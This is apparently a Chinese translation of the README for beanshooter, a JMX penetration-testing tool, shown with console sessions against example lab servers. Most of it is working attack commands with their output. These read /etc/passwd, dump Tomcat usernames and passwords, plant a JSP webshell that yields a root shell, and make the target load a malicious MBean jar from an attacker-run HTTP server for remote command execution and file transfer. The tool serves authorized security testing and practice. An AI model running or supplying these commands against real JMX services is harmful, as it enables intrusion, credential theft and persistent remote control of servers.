可以使用 `invoke` 操作来在指定的 *MBean* 上调用任意方法:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase
stats 动作会列出指定 MBean 的一些常规信息。这些信息是 beanshooters 本地存储的关于相应 MBean 的信息,无需服务器交互。```console
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
`Jar File` 信息指示对应的 *MBean* 的实现是否内置于 *beanshooter* 中。如果在部署时未使用 `--jar-file` 选项覆盖,则使用此 jar 文件。目前,*TonkaBean* 是唯一具有可用 *Jar File* 的 *MBean*。
#### Generic Status
`status` 操作检查对应的 *MBean* 是否已在 *JMX* 服务上可用:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed
取消部署操作会从远程 JMX 服务中移除指定的 MBean:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.
### Diagnostic
---
*DiagnosticCommandMBean* 是一个实用的 *MBean*,通常默认部署在 *JMX 服务器* 上。它实现了多种从攻击角度而言颇具价值的方法。其中一些已作为 *beanshooter* 操作实现,其余方法当然也可手动调用。
#### Diagnostic Read
`read` 操作用于读取 *MBean* 服务器上的文本文件。该操作会调用 `addCompilerDirective` 方法,通过引发异常来包含指定文本文件的内容:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
该技术最初由 @TheLaluka 在 jolokia-exploitation-toolkit 中实现。
load 操作可用于从 JMX 服务器 的文件系统加载共享库:```console
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.
#### 诊断日志文件
`logfile` 操作可用于更改 *JVM* 的日志文件位置:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log
nolog 动作可用于禁用日志记录(有助于关闭日志文件句柄):```console
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.
#### 诊断命令行
`cmdline` 操作会打印启动 *JVM* 时使用的命令行:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD
props 操作会打印系统属性列表:```console
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...
### HotSpot
---
*HotSpotDiagnosticMXBean* 为管理 *HotSpot 虚拟机* 提供了接口,并支持一些在攻击视角下有用的方法。
#### HotSpot dump
`dump` 操作会创建一个堆转储文件,并将其保存到应用服务器上的任意位置。唯一的要求是,该转储文件必须以 `.hprof` 扩展名保存。```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.
list 操作输出可用的诊断选项及其关联的值列表:```console
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...
#### HotSpot get
`get` 动作允许获取指定选项的值:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true
set 操作允许设置指定选项的值:```console
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: true
### MLet
---
*MLetMBean* 是一个众所周知的 *MBean*,可用于通过网络加载额外的 *MBeans*。它已被 *beanshooters* 的 `deploy` 操作隐式使用,但也可以使用 `mlet` 操作手动调用。
#### MLet Load
目前唯一实现的 *MLet* 方法是 `load` 操作,可用于从用户指定的 *URL* 加载 *MBean* 类:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.
上面的例子演示了如何使用mlet操作手动加载TonkaBean。如果你想要加载自定义的MBean,你需要指定关键词custom而不是tonka,并提供--class-name、--object-name和--jar-file选项:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
### Recoder
---
*FlightRecorderMXBean* 提供了一个用于管理 *Flight Recorder* 的接口,并支持一些从攻击角度来看很有趣的方法。
#### Recoder new
`new` 操作会开始一个新的记录。返回的记录 ID 可以作为其他操作的目标:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1
start 动作启动一个已存在的录制,并期望将录制 ID 作为附加参数:```console
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.
#### Recoder dump
当录制处于活动状态时,可以使用 `dump` 操作转储其内容。这会将录制信息存储到 *JMX 服务器* 上的转储文件中:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat
stop 动作可用于停止录制:```console
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.
#### 保存录制
录制停止后,可以使用 `save` 操作进行保存。与 `dump` 操作不同,
此操作将录制内容保存在本地机器上,而不是应用服务器上。```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat
tomcat 操作与 Apache Tomcat 的 MemoryUserDatabaseMBean 进行交互。此 MBean 提供对 Tomcat 服务上可用的用户账户的访问。
dump 操作将 Tomcat 服务器上可用的用户名和密码转储到本地文件中。当使用单个参数调用时,凭证以 <username>:<password> 格式转储:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]
当使用两个参数调用时,用户名存储在第一指定位置,密码存储在第二个:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt
list 操作列出可用的用户账户、其关联的角色和凭据:```console
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
#### Tomcat 写入
`write` 操作将一个部分受控的文件写入应用服务器上的任意位置。此操作可用于在 *Tomcat* 服务上可靠地部署 webshell:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)
write 操作滥用了 Apache Tomcat 的 UserDatabase MBean 中的一个编码错误。我们报告了这个错误,但它并未被视为安全漏洞。为了写入任意位置,beanshooter 需要更改 UserDatabase 的位置。在写入所需文件后,所有更改都会被恢复,但在生产环境中仍需小心。
TonkaBean 是一个自定义的 MBean,由 beanshooter 项目实现,允许在 JMX 服务器上进行文件系统访问和命令执行。其操作可以通过使用 tonka 操作,后跟所需的动作来访问。
exec 动作可用于在 JMX 服务上调用单个命令:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)
exec 操作的最后一个参数应为字符串。当未使用 `--shell` 选项时,此字符串按空格分割(考虑引号),并作为数组传递给服务器端的 `ProcessBuilder` 类。
如果使用了 `--shell`,则指定的 shell 字符串按空格分割,生成的数组与指定的参数字符串连接,然后传递给 `ProcessBuilder` 类。这样可以实现类似 shell 的执行,正确解释 shell 特殊字符:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b
为了便利,常见的 shell 会自动被附加上所需的命令字符串参数。
因此,--shell ash 会自动转换为 --shell 'ash -c'。
execarray 操作与 exec 动作非常相似,但 execarray 操作不是将字符串作为参数并在空格处分割该字符串以构建命令数组,而是允许多个参数直接指定,这些参数直接作为 ProcessBuilder 类的命令数组使用:```console
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/root
#### Tonka Shell
`shell` 动作会生成一个命令 shell,你可以在其中指定要在 *JMX* 服务器上执行的命令。该 shell 并非完全交互式,只是 *Java* 的 `Runtime.exec` 方法的一个封装。不过,它实现了对环境变量和当前工作目录的基本支持:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example
上面的示例演示了如何使用!env关键字设置环境变量。除了这个关键字之外,还有几个可用的关键字:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
execute the specified command
cd
#### Tonka Upload
`upload` 动作可用于将文件上传到 *JMX* 服务器:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat
download 动作用于从 JMX 服务器下载文件:```console
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwd
### JMXMP
---
*JMX* 服务可以使用不同的连接器类型。目前最常用的连接器是 *Java RMI*,它基于 *Java RMI* 协议提供对 *JMX* 的访问。另一种常见的连接器是 *JMX 消息协议*(*JMXMP*),尽管已过时,但仍然经常遇到。*beanshooter* 内置了 *JMXMP* 支持,并在使用 `--jmxmp` 选项时尝试通过 *JMXMP* 进行连接:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.
经过身份验证的 JMXMP 端点通常使用 SASL 进行保护。当 SASL 启用时,JMX 端点通常要求客户端使用特定的 SASL Profile 进行连接。beanshooter 可用的 profile 有:
每个 profile 都可以通过使用 --ssl 选项选择性地与 TLS 配对。当在受 SASL 保护的 JMXMP 端点上使用 enum 动作时,beanshooter 会尝试枚举所需的 SASL profile。虽然通常可以确定所需的 SASL 机制,但所需的 TLS 设置无法被枚举:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
### Jolokia 支持
---
从 *v4.0.0* 开始,*beanshooter* 支持基于 [Jolokia](https://github.com/rhuss/jolokia) 的 JMX 端点。
建立到基于 *Jolokia* 的端点的连接需要通常的目标格式和 `--jolokia` 标志:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...
由于 Jolokia 的功能集有限,并非所有 beanshooter 操作都受支持。如有疑问,请查阅 Jolokia 常见问题解答。若要试用 Jolokia,beanshooter 提供了一个示例服务器,该服务器在端口 8080 上暴露 Jolokia 端点。此外,在端口 1090 上还可以找到常规的基于 RMI 的 JMX 端点。
自版本 v3.1.1 起,beanshooter 也可作为 Docker 镜像使用,并可从 GitHub Container Registry 拉取。每个版本都提供 normal 和 slim 两种版本。两者都提供完整的 beanshooter 功能,但只有 normal 版本包含 ysoserial,因此镜像体积更大:
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MB你也可以通过运行以下命令自行构建容器:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .
### 示例服务器
---


以上展示的大多数示例基于 [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
和 [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server)。
这些服务器包含在本仓库的 [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) 文件夹中,可用于练习 *JMX* 枚举。
您可以自行构建相应的容器,或直接从 *GitHub Container Registry* 加载。
版权所有 2023,Tobias Neitzel 和 *beanshooter* 贡献者。